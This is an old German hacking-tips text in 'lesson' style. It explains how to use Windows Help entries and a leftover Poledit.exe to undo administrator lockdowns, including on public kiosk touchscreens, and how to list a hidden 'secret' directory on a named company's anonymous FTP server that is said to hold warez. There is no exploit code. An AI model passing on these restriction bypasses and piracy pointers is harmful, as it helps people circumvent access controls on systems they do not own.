---SYSTEMRICHTLINIEN-EDITOR:---
* Benutzerprofile; Verwenden des Systemrichtlinien-Editors
   um die Desktop-Einstellungen von Benutzern zu beschränken oder zu konfigurieren
* Richtlinien-Editor
* Systemrichtlinien-Editor

---TASKMANAGER:---
* Anwendungen: überwachen
* Arbeitsspeicher: Auslastung überwachen
* Aufgaben; Verwenden des Task-Managers, um Ihren Computer zu überwachen
* Beenden: Tasks, Prozesse
* CPU-Leistung; Verwenden des Task-Managers, um Ihren Computer zu überwachen

---TELEFON:---
* Anrufen; Verwenden des Telefons, um mit einem anderen Computer zu kommunizieren
* Kommunikation: Telefon

---TELNET:---
* Kommunikation: Telnet
* Remote-Computer: Telnet-Verbindungen; Verwenden von Telnet
* Telnet

---WAHLHILFE:---
* Anrufen; Verwenden der Wahlhilfe zum Wählen von Ihrem Computer aus
* Kommunikation: Wahlhilfe

---WILKOMMENSBILDSCHIRM:---
* Anzeigen: Willkommen-Bildschirm
* Einblenden: Willkommen-Bildschirm
* Willkommen-Bildschirm anzeigen

---WORDPAD:---
* Bearbeiten: Dokumente; Verwenden von WordPad zum Schreiben und Formatieren von Dokumenten
* Editoren: WordPad


So, dies dürfte wohl erstmal reichen :-)
Wie gesagt, es gibt "Administratoren", die euch alles sperren wollen (Explorer, Taskleiste,...), aber über die
Windows - Hilfe kann man einige Features zurück "erobern" ...


P.S.: Diese weitere nützliche Lesson funktioniert auch, wenn ihr Touchscreens hackt
         (z.B. im Kaufhauf, Bahnhof, Flughafen,...).
        Einige "angehende" Systemadministratoren versuchen euch die Rechte via Poledit zu entziehen,
        aber die meisten Idioten lassen dann auch noch die Poledit.exe auf der Platte, und so ist es ein Kinderspiel
        sich die Rechte zurück zu holen...;-))
        Poledit ist übrigens auf jeder Windows CD enthalten, schadet also nicht sich das mal auf Disk zu ziehen ;-)
__________________________________________________________________________________________________________

Secret FTP:
=========

Hi again,
hier bin ich wieder mit einer neuen Lesson und ich hoffe das ihr ein weiteres mal daraus lernt...
In dieser Lesson geht es um FTP Server.
Ihr glaubt gar nicht, was so alles auf FTP Servern rumliegt und ihr es einfach nicht seht, weil die
meisten von euch einen oberflächen-gesteuerten FTP Browser benutzen...das soll sich spätestens
nach dieser Lesson definitiv ändern.

Okay, bevor wieder dieses ganze Theorie gequatsche losgeht, fangen wir gleich mit der Praxis an.
Als sehr schönes Beispiel, was ich auch immer wieder gerne demonstriere, ist der FTP Server von
Diamond Multimedia (dem Grafikkartenhersteller, Modem, ...).

Der FTP Server heisst: ftp.diamondmm.com

Weiter jetzt, ihr connectet am besten ersteinmal per Browser ala Netscape oder IE...
Ihr loggt euch als "anonymous" ein, und .. was seht ihr ??? Das Verzeichnis "pub" ???
Wie, mehr nicht ??? Hehehe.
Das liegt daran, daß die Browser nur Verzeichnisse anzeigen, die zugelassen sind :-( Dreck !!
Aber um auch "mehr zu sehen", bin ich ja als Rettung da...
Connectet euch mal mit dem FTP Server via DOS-FTP. Einige von euch werden sich jetzt fragen
wie das geht, okay, hier kommt die genaue Beschreibung:

- wechselt in die DOS-Eingabeaufforderung
- "ftp ftp.diamondmm.com" eintippen, natürlich ohne ""
- bei user gebt ihr "anonymous" ein
- als Passwort nehmt ihr irgendeine Mailadresse

So, wenn ihr drin seit, was gebt ihr dann ein um eine Übersicht der Directories zu erhalten ???
"dir" ??? FALSCH !!!
Aber ihr könnt es ja mal probieren, mit dem Ergebnis: 1 Ordner namens "pub".
Shit, also weiter...
Tippt mal den Befehl "ls -lisa" ein und ... oops, was ist denn da versteckt ???
Etwa ein Ordner der sich "secret" schimpft ??? Hehehe.
Na, war das nicht einfach ? Wechselt mit "cd secret" in das Secret Verzeichnis.

Noch ein TiP: Schnüffelt mal bei Diamond auf dem FTP Server im "secret" Ordner rum, da
liegen nämlich immer Warez rum :-)) ...irgendwo im /communications/.tmp Ordner oder so...

Okay, ich wollte euch in dieser Lesson demonstrieren, daß es immer wieder Mittel zum Zweck
gibt.

P.S.: Hier folgen noch einige Grundbefehle für das DOS-FTP:

        - cd xxx         wechselt in das Verzeichnis xxx
        - cd ..        wechselt eine Ebene höher
        - pwd        zeigt euch das aktuelle Verzeichnis an
        - get xxx        saugt das file xxx
        - close        schliesst die FTP Verbindung
        - quit        beendet den FTP Prompt
        - help        zeigt weitere FTP zugelassene Befehle an
________________________________________________________________________________________________________